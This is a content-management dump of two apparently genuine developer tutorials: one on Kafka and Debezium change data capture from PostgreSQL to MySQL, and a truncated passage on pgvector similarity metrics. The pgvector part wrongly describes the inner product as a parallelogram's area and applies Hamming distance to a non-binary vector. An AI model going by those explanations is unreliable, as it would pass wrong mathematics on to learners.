\\\n --plan business-4 \\\n -c kafka_connect=true \\\n -c schema_registry=true \\\n -c kafka.auto_create_topics_enable=true\n```\n\nCreating the PostgreSQL database follows a similar pattern, this time the name is `demo-pg` (I'm low in creativity today), located in the same region as the Apache Kafka service to minimize the latency and using a smaller ``startup-4`` plan.\n\n```bash\navn service create demo-pg \\\n --service-type pg \\\n --cloud google-europe-west3 \\\n --plan startup-4\n```\n\nThe final piece is represented by the target database, MySQL in our scenario: \n\n```bash\navn service create demo-mysql \\\n --service-type mysql \\\n --cloud google-europe-west3 \\\n --plan business-4\n```\n\nLet's now grab a quick espresso, we have a couple of minutes of waiting time before the services are created... The long waiting times for servers provisioning are gone. We can also check the service creation progress and get prompted when it's finished using the [Aiven CLI wait command](https://aiven.io/docs/tools/cli/service.html#avn-service-wait).\n\n## Create a dataset in PostgreSQL\n\nOnce our three services are in running state, we define our data playground by creating a small table in PostgreSQL containing data about a thing where precision and consistency across technologies matters: pasta and cooking minutes!\n\nWe can connect to the `demo-pg` PostgreSQL database using the dedicated command:\n\n```bash\navn service cli demo-pg\n```\n\nThe utility fetches the connection parameters and uses [psql](https://www.postgresql.org/docs/current/app-psql.html) to connect. Once in the database, we create the `pasta` table and insert a few rows with the following command:\n\n```sql\ncreate table pasta (id serial, name varchar primary key, cooking_minutes int);\nalter table pasta replica identity full;\ninsert into pasta (name, cooking_minutes) values ('spaghetti', 8);\ninsert into pasta (name, cooking_minutes) values ('pennette', 7);\ninsert into pasta (name, cooking_minutes) values ('linguine', 10);\ninsert into pasta (name, cooking_minutes) values ('farfalle', 9);\n```\n\n## Capture changes with the Debezium source connector\n\nWe covered the JDBC source connector in a [another article](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example), but, as explained above, the JDBC route will only query the database on polling intervals, possibly adding a delay in the event capture. The alternative is represented by the [Debezium source connector for PostgreSQL](https://debezium.io/documentation/reference/stable/connectors/postgresql.html) which extracts the changes committed to the transaction log and provides them in a standard format into an Apache Kafka topic. \n\nTo set it up we need to define a configuration file named `connector_pg_source.json` with the following content\n\n```json\n{\n \"name\": \"cdc-source-pg\",\n \"connector.class\": \"io.debezium.connector.postgresql.PostgresConnector\",\n \"database.hostname\": \"[PG_HOSTNAME]\",\n \"database.port\": \"[PG_PORT]\",\n \"database.user\": \"[PG_USER]\",\n \"database.password\": \"[PG_PASSWORD]\",\n \"database.dbname\": \"[PG_DB_NAME]\",\n \"database.sslmode\": \"[PG_SSL_MODE]\",\n \"plugin.name\": \"pgoutput\",\n \"slot.name\": \"test_slot\",\n \"publication.name\": \"test_pub\",\n \"topic.prefix\": \"my_pg_source\",\n \"table.include.list\": \"public.pasta\",\n \"tombstones.on.delete\": \"true\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\"\n}\n```\n\nThe configuration file states that we are going to create a Debezium source connector named `cdc-source-pg`, with the `pgoutput` PostgreSQL output plugin, using a [logical replication publication](https://www.postgresql.org/docs/current/logical-replication-publication.html) named `test_pub` and a [replication slot](https://aiven.io/docs/products/postgresql/howto/setup-logical-replication) named `test_slot`. Moreover we are using `topic.prefix` as the prefix for topic names, and use `table.include.list` to indicate we want to include the table `public.pasta` in the replica. \n\nFinally we create tombstone messages for deletions (`tombstones.on.delete`) and we convert keys and values to Avro since, compared to JSON, it is far lighter on the network and allows us to have the events schema defined, which will be handy once we push the data. You can check each parameter definition in the [dedicated documentation](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html). \n\nTo make it work we need to substitute a few placeholders:\n\n* `[PG_HOSTNAME]`, `[PG_PORT]`, `[PG_USER]`, `[PG_PASSWORD]`, `[PG_DB_NAME]`, `[PG_SSL_MODE]`: these are the PostgreSQL connection parameters, and, if you're using Aiven, are available with:\n\n```bash\navn service get demo-pg --format '{service_uri_params}'\n```\n\n* `[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]`: We are using Aiven's [Karapace schema registry](https://github.com/aiven/karapace) to store Avro messages' schemas. To retrieve the connection URI execute the following command: \n\n```bash\navn service get demo-kafka --json | jq '.connection_info.schema_registry_uri'\n```\n\nThe schema registry URI contains both the url and the credentials in the form `http://avnadmin:kafka_schema_registry_password@kafka_host:schema_registry_port`. We can therefore also fill the `[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]` placeholders accordingly.\n\nWe can now start the change data capture flow with the help of the Aiven CLI in our terminal:\n\n```bash\navn service connector create demo-kafka @connector_pg_source.json\n```\n\nCheck if it is running with\n```bash\navn service connector status demo-kafka cdc-source-pg\n```\n\n## Avoid the \"must be superuser\" error\n\nWhen creating the connector, you might encounter the error `must be superuser to create FOR ALL TABLES publication`. This is because the connector tries to create a publication for all tables. In order to solve the problem you can create the publication directly in PostgreSQL by:\n\n* installing the [aiven_extras](https://github.com/aiven/aiven-extras) extension\n\n ```\n CREATE EXTENSION aiven_extras CASCADE;\n ```\n\n* create the publication for the `public.pasta` table\n\n ```\n SELECT *\n FROM aiven_extras.pg_create_publication(\n 'test_pub',\n 'INSERT,UPDATE,DELETE',\n 'public.pasta'\n );\n ```\n\nOnce the publication is created, you can delete and then start the connector again, and it should work.\n\n## Check the data in Apache Kafka\n\nThe Debezium source connector creates a topic named `my_pg_source.public.pasta` (the concatenation of the `topic.prefix` and the schema and table name parameters). To inspect it, we can use [kcat](https://github.com/edenhill/kcat), more details on it's configuration can be found in the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/kcat.html).\n\nOnce SSL keys have been downloaded and the `kcat` configuration file is set, we can check the data in Apache Kafka with the following command in a new terminal window:\n\n```bash\nkcat -F kcat.config \\\n -C -t my_pg_source.public.pasta \\\n -s avro \\\n -r https://[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]@[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT] \\\n -f 'Key: %k\\nValue: %s\\n'\n```\n\nThe above calls kcat with the following parameters:\n* `-F kcat.config`: using the `kcat.config` file for connection details\n* `-C -t my_pg_source.public.pasta`: kcat is called in consumer mode (`-C`) reading from the `my_pg_source.public.pasta` topic\n* `-s avro`: the expected topic data forma is AVRO\n* `-r https://[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]@[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]`: Aiven's Karapace schema registry connection URI including username and password. Replace the placeholders with the correct values fetched above.\n* `-f 'Key: %k\\nValue: %s\\n'`: output format, for each event displays the key (`%k`) and value (`%s`)\n\nThe output of the kcat call is the following:\n\n```\n% Reading configuration from file kcat.config\nKey: {\"name\": \"spaghetti\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"name\": \"spaghetti\", \"cooking_minutes\": {\"int\": 8}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"first\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758689}, \"transaction\": null}\nKey: {\"name\": \"pennette\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758696}, \"transaction\": null}\nKey: {\"name\": \"linguine\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"name\": \"linguine\", \"cooking_minutes\": {\"int\": 10}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758697}, \"transaction\": null}\nKey: {\"name\": \"farfalle\"}\nValue: {\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"name\": \"farfalle\", \"cooking_minutes\": {\"int\": 9}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763758301, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118075480\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 803}, \"lsn\": {\"long\": 118075480}, \"xmin\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733763758697}, \"transaction\": null}\n% Reached end of topic my_pg_source.public.pasta [0] at offset 4\n```\n\nDuring the first run, the Debezium connector creates a new message in the Apache Kafka topic for each row present in the `pasta` table. For each row we can see the current value (in the `after` section of the JSON document) together with additional information regarding timestamps and transaction ids. It's worth mentioning that the rows updated/deleted before we started the change data capture are not detected since Debezium doesn't go back in time. But, if now we want our `pennette` to be a bit more \"al dente\", and update the row in the PostgreSQL database with:\n\n```sql\nupdate pasta set cooking_minutes=6 where name='pennette';\n```\n\nWe can see the resulting update in kcat as:\n\n```\nKey: {\"name\": \"pennette\"}\nValue: {\"before\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}, \"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 6}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"postgresql\", \"name\": \"my_pg_source\", \"ts_ms\": 1733763844729, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": {\"string\": \"[null,\\\"118076128\\\"]\"}, \"schema\": \"public\", \"table\": \"pasta\", \"txId\": {\"long\": 812}, \"lsn\": {\"long\": 118076128}, \"xmin\": null}, \"op\": \"u\", \"ts_ms\": {\"long\": 1733763845522}, \"transaction\": null}\n% Reached end of topic my_pg_source.public.pasta [0] at offset 5\n```\n\nIn case of updates (`\"op\": \"u\"`), the Debezium source connector provides the situation as before the change\n```json\n\"before\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 7}}}\n```\nand after it\n```json\n\"after\": {\"Value\": {\"id\": 2, \"name\": \"pennette\", \"cooking_minutes\": {\"int\": 6}}}\n```\n\nNow that the data is in a Kafka topic, we can serve to one or many downstream data sinks as it is, or, if we want to process and manipulate the data in real time, we could define some stream processing data pipelines using [Aiven for Apache Flink](https://aiven.io/flink). \n\n## Sink data to MySQL\n\nLet's stick to the original plan: a simple PostgreSQL -\u003e Apache Kafka -\u003e MySQL copy of the data. To achieve the last segment, we can create another Kafka Connect connector, this time a JDBC sink, by defining its properties in another configuration file (we'll refer to the file as `connector_sink_mysql.json`) with the following content:\n\n```json\n{\n \"name\": \"cdc-sink-mysql\",\n \"connector.class\": \"io.aiven.connect.jdbc.JdbcSinkConnector\",\n \"topics\": \"my_pg_source.public.pasta\",\n \"connection.url\": \"jdbc:mysql://[MYSQL_HOSTNAME]:[MYSQL_PORT]/[MYSQL_DB_NAME]?ssl-mode=REQUIRED\",\n \"connection.user\": \"[MYSQL_USER]\",\n \"connection.password\": \"[MYSQL_PASSWORD]\",\n \"auto.create\": \"true\",\n \"insert.mode\": \"upsert\",\n\t\t\"delete.enabled\": \"true\",\n \"table.name.format\": \"pasta_mysql\",\n \"pk.mode\": \"record_key\",\n \"pk.fields\": \"name\",\n \"auto.create\": \"true\",\n \"transforms\": \"newrecordstate\",\n \"transforms.newrecordstate.type\": \"io.debezium.transforms.ExtractNewRecordState\",\n \"transforms.newrecordstate.drop.tombstones\": \"false\",\n \"transforms.newrecordstate.delete.handling.mode\": \"rewrite\",\n \"key.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"key.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n \"key.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"key.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\",\n \"value.converter\": \"io.confluent.connect.avro.AvroConverter\",\n \"value.converter.schema.registry.url\": \"https://[APACHE_KAFKA_HOST]:[SCHEMA_REGISTRY_PORT]\",\n \"value.converter.basic.auth.credentials.source\": \"USER_INFO\",\n \"value.converter.schema.registry.basic.auth.user.info\": \"[SCHEMA_REGISTRY_USER]:[SCHEMA_REGISTRY_PASSWORD]\"\n}\n```\n\nThe configuration file states that we are going to create a JDBC sink connector named `cdc-sink-mysql`, reading from the topic `my_pg_source.public.pasta` and pushing data to a MySQL database table called `pasta_mysql` in `upsert` mode. The primary key will be based on a field of the `record_key` called `name`. \nMoreover we are enabling the target table automatic creation if it doesn't exist (`auto.create`), extracting the new record state (`ExtractNewRecordState`) and propagating record deletions as soft deletes (`\"delete.handling.mode\":\"rewrite\"`). To read more about Debezium related message transformation check the [dedicated documentation](https://access.redhat.com/documentation/en-us/red_hat_integration/2020-q2/html/debezium_user_guide/configuring-debezium-connectors-for-your-application#behavior-of-debezium-extractnewrecordstate-transformation).\n\nFinally, since our messages are in Avro format, we define again the `key.converter` and `value.converter` to extract the related schemas from [Aiven Karapace](https://github.com/aiven/karapace) and decode the messages.\n\nAgain, to take the connector into action, we need to replace some placeholders:\n\n* `[MYSQL_HOSTNAME]`, `[MYSQL_PORT]`, `[MYSQL_DB_NAME]`, `[MYSQL_USER]`, `[MYSQL_PASSWORD]`: these are the MySQL connection parameters, and, if you're using Aiven, are be available with:\n\n```bash\navn service get demo-mysql --format '{service_uri}'\n```\n\n* `[APACHE_KAFKA_HOST]`, `[SCHEMA_REGISTRY_PORT]`, `[SCHEMA_REGISTRY_USER]`, `[SCHEMA_REGISTRY_PASSWORD]`: we can reuse the same [Karapace schema registry](https://github.com/aiven/karapace) connection parameters fetched above.\n\nWe are ready to create the sink connector with the Aiven CLI with:\n\n```bash\navn service connector create demo-kafka @connector_sink_mysql.json\n```\n\n## Check the data in MySQL\n\nAfter creating the connector, we should see the `pasta_mysql` table created in the MySQL target database. To check things out we can connect using the [mysql client](https://dev.mysql.com/doc/mysql-getting-started/en/) from a new terminal window reusing the same connection parameters we got before:\n\n```\nmysql -u [MYSQL_USER] -P [MYSQL_PORT] -h [MYSQL_HOSTNAME] -D [MYSQL_USER] -p[MYSQL_PASSWORD]\n```\n\nAfter connecting, we can check the data in the `pasta_mysql` table with:\n\n```\nselect * from pasta_mysql;\n```\n\nAnd we can see the updated data as per the PostgreSQL table:\n\n```\n+------+-----------+-----------------+-----------+\n| id | name | cooking_minutes | __deleted |\n+------+-----------+-----------------+-----------+\n| 4 | farfalle | 9 | false |\n| 3 | linguine | 10 | false |\n| 2 | pennette | 6 | false |\n| 1 | spaghetti | 8 | false |\n+------+-----------+-----------------+-----------+\n4 rows in set (0.02 sec)\n```\n\nNow, if we do a couple of changes on the PostgreSQL side, changing the format from `spaghetti` to `spaghettini` and removing the `linguine` row.\n\n```\nupdate pasta set name='spaghettini' where name='spaghetti';\ndelete from pasta where name='linguine';\n```\n\nWe can check that the same changes are immediately applied on the MySQL side: both the `spaghetti` and `linguine` are now soft deleted (`__deleted` equal `true`) and the new entry `spaghettini` is correctly stored.\n\n```\n+------+-------------+-----------------+-----------+\n| id | name | cooking_minutes | __deleted |\n+------+-------------+-----------------+-----------+\n| 4 | farfalle | 9 | false |\n| 3 | linguine | 10 | true |\n| 2 | pennette | 6 | false |\n| 1 | spaghetti | 8 | true |\n| 1 | spaghettini | 8 | false |\n+------+-------------+-----------------+-----------+\n```\n\n## Keep data in sync to support technical change\n\nApache Kafka and Apache Kafka Connect provide integrations and flexibility; a way to bridge technologies keeping data in sync by detecting changes and propagating them in near real time. Beyond that, by making data flow through Apache Kafka we can also create multiple downstream data pipelines into different technologies, by adding more Kafka Connect connectors without impacting the source database. \n\nBy using the Debezium Kafka Connect connector, you can track every modification performed in the source database, and store and propagate additional information such as the pre and post data points, change type, and related timestamps. This extra metadata really improves and empowers our change data capture process.\n\nTry these resources to get started and learn more:\n\n* [5 good questions to ask before migrating your database](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database) for some general considerations when moving to a managed cloud service\n* [Aiven for Apache Kafka technical documentation](https://aiven.io/docs/products/kafka/index.html) to find all the info you need to use our Apache Kafka offering\n* [Debezium connector for PostgreSQL](https://debezium.io/documentation/reference/stable/connectors/postgresql.html) where to find details about how to set up change data capture for PostgreSQL\n* [Aiven Karapace](https://github.com/aiven/karapace) where to find how to use Aiven's built open source schema registry for Apache Kafka\n* [Aiven for Apache Flink](https://aiven.io/flink) to learn more about handling data transformations and detecting patterns in your data as it streams from one system to another.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:41:31.542Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5eac5c53e287","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-02-03T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e893de3a3da94403b482cf00ccb2ad86af9ef6a9-640x345-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/db-technology-migration-with-apache-kafka-and-kafka-connect"},"subtitle":"Find out how to use Apache Kafka® to migrate across database technologies while keeping the target continually in sync with the source.","tags":[{"_key":"899f65c823fd","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"73d79ae32d2c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"34d12d009511","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"},{"_key":"c5c1e2c40bed","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"07de93477a34","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"41bbf6655b9a","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"}],"title":"Database migration with Apache Kafka® and Apache Kafka® Connect"} {"__i18n_lang":"en","_createdAt":"2024-03-08T07:35:05Z","_id":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_rev":"YaKEzcVhnb7P0fmfvBeKSd","_type":"devArticle","_updatedAt":"2024-08-01T12:15:40Z","body":"Using AI, it’s possible to find similar text information, photos or products in a database. As the number of searches increases, performance can be a problem, though.In this article, I’ll show you how indexes can help.\n\nWe’re going to use PostgreSQL’s [pgvector extension](https://github.com/pgvector/pgvector). It enables you to store AI embeddings, which are representations of information, and enables you to perform similarity searches on them. Pgvector has a couple of features that make it particularly popular. It supports hybrid searches, mixing standard and vector queries. For example, someone shopping online might want to search for shoes that look like a photo of their existing pair (a vector search), and that cost less than $100 (a standard database query). Pgvector also enables retrieval-augmented generation (RAG), where information from the database gives additional context to generative AI, improving the quality of the output and reducing hallucinations. \n\nThis tutorial explains:\n\n\n* The basics of vector similarity\n* How pgvector can be used for vector similarity searches\n* How indexes of various types can help to speed up searches\n* The possible tradeoffs in output quality when using indexes \n\nSee our previous blog for a refresher on [what embeddings are and how pgvector can be used for face recognition](https://aiven.io/developer/find-faces-with-pgvector).\n\n::alert[To get insights about your database performance and improvement suggestions, check out [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivenindexpgvector)]\n\n\n## Understanding vector queries\n\nIn the AI world, embeddings are a representation of a piece of information (such as text, image, sound, or video). They are expressed as an array of numbers. \n\nAI models such as OpenAI’s `text-embedding-ada-002 `can generate embeddings from text (see the image below). These embeddings are always the same length, no matter how long the source text is. In the case of `ada-002`, the embeddings are 1536 elements long. The embeddings can be compared to find text with a similar meaning.\n\n\n![Text about pizza on the left passes through OpenAI and comes out as an array of numbers.](https://cdn.sanity.io/images/sczeoy4w/production/6144809ae2ab7fcafb9f2a28330b164b299deee4-3200x376.png)\n\n\nBut how does this embedding comparison work? We can picture the embeddings as points in an N-dimensional space. In the case of `text-embedding-ada-002`, it would be a 1536-dimension space. \n\nTo find information similar to a particular search query, the AI model would:\n\n\n\n1. **Create an embedding for the search query**, using the same method used for the stored data. Information with a similar meaning should be represented by embeddings with similar values. These embeddings would be closer to each other in the N-dimensional space.\n2. **Search the N-dimensional space** to find the embeddings that are closest to the search query. \n\nIt's hard to imagine a 1536 dimension space, so to keep things simple, we’ll visualize the data in a two-dimensional space. In the image below, you can see the search query embedding in yellow in the center, and the six closest results we’d want to find in red. \n\n\n![In a two-dimensional space, our search query is represented in yellow in the middle, with possible results around it. The six closest matches are shown in red.](https://cdn.sanity.io/images/sczeoy4w/production/0812ca86a9d9d0b22bad1ba961334584cbf2dc33-1680x1240.png)\n\n\nIn that image, we’re plotting the data as coordinates. However, the embeddings can be considered as vectors. These are mathematical objects that have a length and direction. They’re represented by an arrow that starts at the graph’s origin at `[0,0]` in the bottom left and extends to the vector position. You’ll see these shortly. \n\nThere are several ways that the similarity of vectors can be measured. Let’s create a PostgreSQL environment where we can explore the different approaches using pgvector.\n\n\n## Setting up a PostgreSQL playground\n\nWe’re going to spin up an [Aiven for PostgreSQL](https://console.aiven.io/signup) database. Follow these steps:\n\n\n\n1. [Access the Aiven Console](https://console.aiven.io/signup).\n2. Select **Create service**.\n3. Select Aiven for PostgreSQL.\n4. Select the cloud provider and region.\n5. Select the plan (the `hobbyist` or even the `free` plan would be enough).\n6. Provide the service a name, such as `pg-pgvector-index-test`.\n7. Click on **Create service**.\n8. Connect to PostgreSQL. To do this, wait until the service is in the `RUNNING` state, grab the **Service URI** and, with `psql` already installed locally, connect to PostgreSQL with: \n\n ```bash\n psql \u003cSERVICE_URI\u003e\n ```\n\n9. Create the pgvector extension using `CREATE EXTENSION vector;`\n10. Add some data using the following code:\n\n ```sql\n CREATE TABLE VECTOR_TEST (id int, name text, vctr vector(2));\n\n INSERT INTO VECTOR_TEST VALUES\n (1, 'VectorA', '[2,3]'),\n (2, 'VectorB', '[8,1]');\n ```\n\n\nWe now want to calculate the similarity between the two vectors (`VectorA` and `VectorB`) and a third vector (`VectorC`) with coordinates `[4,4]`, as shown in the image below.\n\n![A graphical representation of the three vectors, with a line starting at 0,0 in the bottom left and extending to the end of the vector coordinates.](https://cdn.sanity.io/images/sczeoy4w/production/4087be80fac8c676e689a98d985ecac5c02e7d3a-2174x1210.png)\n\n\n\n## Understanding how similarity metrics work\n\nSimilarity metrics define the distance between two embeddings (or vectors). There are a [lot of different similarity metrics](https://towardsdatascience.com/17-types-of-similarity-and-dissimilarity-measures-used-in-data-science-3eb914d2681) we could use, but we’ll define the three basic ones: distance, inner product and cosine. \n\n\n### L2 Distance\n\nThe distance similarity metric calculates the Euclidean distance between two vectors using the formula `$\\sqrt{Δx^2+Δy^2}$`, as shown in the image below. You can visualize this by drawing a right-angled triangle, with the long side connecting the vectors. To calculate the length of the line connecting the vectors length, use Pythagoras’ theorem. \n\nEmbeddings with a lower distance metric are closer together in the space, and so represent content with a more similar meaning.\n\nThe distance similarity is measured using PostgreSQL `\u003c-\u003e` operator.\n\n\n\n![A graph that shows how Pythagoras' Theorem enables us to find the distance between two vector coordinates.](https://cdn.sanity.io/images/sczeoy4w/production/470bd7e658b7d84b407ec42f237b78933b0e038d-2174x1210.png)\n\n\nThe similarity between `VectorA` and `VectorC` is calculated as\n\n`$\\sqrt{(4-2)^2+(4-3)^2}$` which equals `2.23606797749979`. The similarity between VectorB and VectorC will be `$\\sqrt{(8-4)^2+(4-1)^2}$`, which equals 5. \n\nLet’s run the following query:\n\n\n```sql\nSELECT name, \nvctr \u003c-\u003e '[4,4]' distance \nfrom VECTOR_TEST;\n```\n\n\nThe result is what we expected:\n\n```\n name | distance\n----------+------------------\nVectorA | 2.23606797749979\nVectorB | 5\n\n(2 rows)\n```\n\n\nThe Euclidean distance is ideal for finding similar vectors if all the components of a vector have equal importance, and if they are normalized so the numbers are on the same scale (for example, between 0 and 1).\n\n\n### L1 distance\n\nComparing to L2 distance, L1 distance, also known as Manhattan distance or taxicab distance, calculates the distance between two points by summing the absolute differences of their coordinates.\n\nL1 distance can be used to measure the dissimilarity between vectors in a high-dimensional space. Unlike L2 distance, which computes the Euclidean distance and is sensitive to large differences due to its squared terms, L1 distance treats all dimensions equally and is more robust to outliers. This makes L1 distance particularly useful in scenarios where the data may contain significant noise or when the scale of differences across dimensions varies greatly. \n\nHowever, be aware that L1 distance might not capture the true geometric distance in a multidimensional space as effectively as L2 distance. Therefore, the choice between L1 and L2 distance in pgvector depends on the specific characteristics of the data and the requirements of your application.\n\nL1 distance similarity is measured using \u003c+\u003e or a vector function l1_distance:\n\n```sql\nSELECT name, \nvctr \u003c+\u003e '[4,4]' \nfrom VECTOR_TEST;\n```\n\n\n### Cosine\n\nWe said that the distance metric is ideal for normalized data, but what if there could be large differences in the scale of the data? \n\nThe cosine similarity calculates the difference in the angle between the two vectors, measuring how closely the two vectors are pointing in the same direction. The cosine similarity metric does not otherwise consider the vectors’ positions in the space. The vector positions could be a long way apart.\n\nFor example, imagine a certain element contains the “number of times `Pizza` is mentioned in the document”, with the length of the line representing the frequency and the position of the vector representing the idea of pizza. You could use the cosine distance to find other documents containing the idea of `Pizza`, rather than focusing on documents that mention `Pizza` a certain number of times. By contrast, a distance search on this element might be more likely to find items with a similar frequency, than items with a similar idea.\n\n![The cosine distance measures the angles between the vectors to find vectors that point in the same direction. This graph shows the angle between the lines that indicate Vector A and Vector C.](https://cdn.sanity.io/images/sczeoy4w/production/fbd060aa69a2da3d8e3ca7b7aa0836d422a16195-3200x1768.png)\n\n\nIn the case of `VectorA` and `VectorC` the cosine difference is calculated as `$((Xa*Xc)+(Ya*Yc))/(\\sqrt{Xa^2+Ya^2)}*\\sqrt{Xc^2+Yc^2)})$`, with the result being `0.9805806756909202`.\n\nThe distance similarity is measured using `\u003c=\u003e`.\n\nLet’s try it:\n\n\n```sql\nSELECT name, \n1 - (vctr \u003c=\u003e '[4,4]') cosine_similarity \nfrom VECTOR_TEST;\n```\n\n\nThe result is in line with the above calculation. The angle between `VectorA `and `VectorC` is way smaller than the one between `VectorB` and `VectorC`, therefore the cosine similarity of the `VectorA` is greater. In the output, a higher number represents greater similarity.\n\n```\nname | cosine_similarity\n--------+--------------------\nVectorA | 0.9805806756909202\nVectorB | 0.7893522173763263\n\n(2 rows)\n```\n\n\n\n### Inner product\n\nThe inner product allows you to measure both the space between vectors and how well aligned they are. Although the inner product works well where the elements of a vector are normalized and have equal importance, it also works where not all the elements have an equal weight. \n\nTo see how it’s useful, imagine you have an AI model that creates elements expressing how often a certain word appears in a document. The word `Margherita` would appear often in articles about pizza and about queens of Italy. These are two totally different contexts, of course. Using the inner product, you can get a sense of whether a query and a result have a similar direction, which will reflect how close their meanings are. You can also get a sense of scale: how many mentions there are of the word.\n\nThe inner product calculates the area of the parallelogram created when you join the vectors as shown in the image below. \n\n![This graph shows the parallelogram created by joining Vector A and Vector C.](https://cdn.sanity.io/images/sczeoy4w/production/cc6fe640460d3dcc978b0563a92b7d826efd600a-3200x2780.png)\n\n\nThe calculation is made by multiplying each of the coordinates and then summing the result with the formula `$(Xa*Xc)+(Ya*Yc)$`. This is known as the dot product. The result, in the case of `VectorA` and `VectorC`, is `(2*4)+(3*4)=20`.\n\nThe inner product is measured using `\u003c#\u003e`.\n\nTry executing the query against the PostgreSQL database with this code:\n\n\n```sql\nSELECT name, \n(vctr \u003c#\u003e '[4,4]') * -1 inner_product \nfrom VECTOR_TEST;\n```\n\n\nWe multiply the result by -1 because PostgreSQL returns the negative inner product and we want to make the result positive. The result is in line with the formula:\n\n```\nname | inner_product\n--------+---------------\nVectorA | 20\nVectorB | 36\n\n(2 rows)\n```\n\n### Hamming distance\n\nHamming distance measures the difference between two binary vectors by counting the number of positions at which the corresponding elements differ. It is primarily used in error detection and correction, where it is crucial to determine how many bits need to be changed to transform one binary string into another:\n\nHamming distance is measured using `\u003c~\u003e` or `hamming_distance` function.\n\n```sql\nSELECT name, \nvctr \u003c~\u003e '[4,4]' \nfrom VECTOR_TEST;\n```\n\n### Jaccard distance\nJaccard distance, on the other hand, can be used to compute the similarity between two asymmetric binary variables.\n\nThis metric is widely used in various data science applications, such as text mining to measure document similarity based on shared terms, in e-commerce to 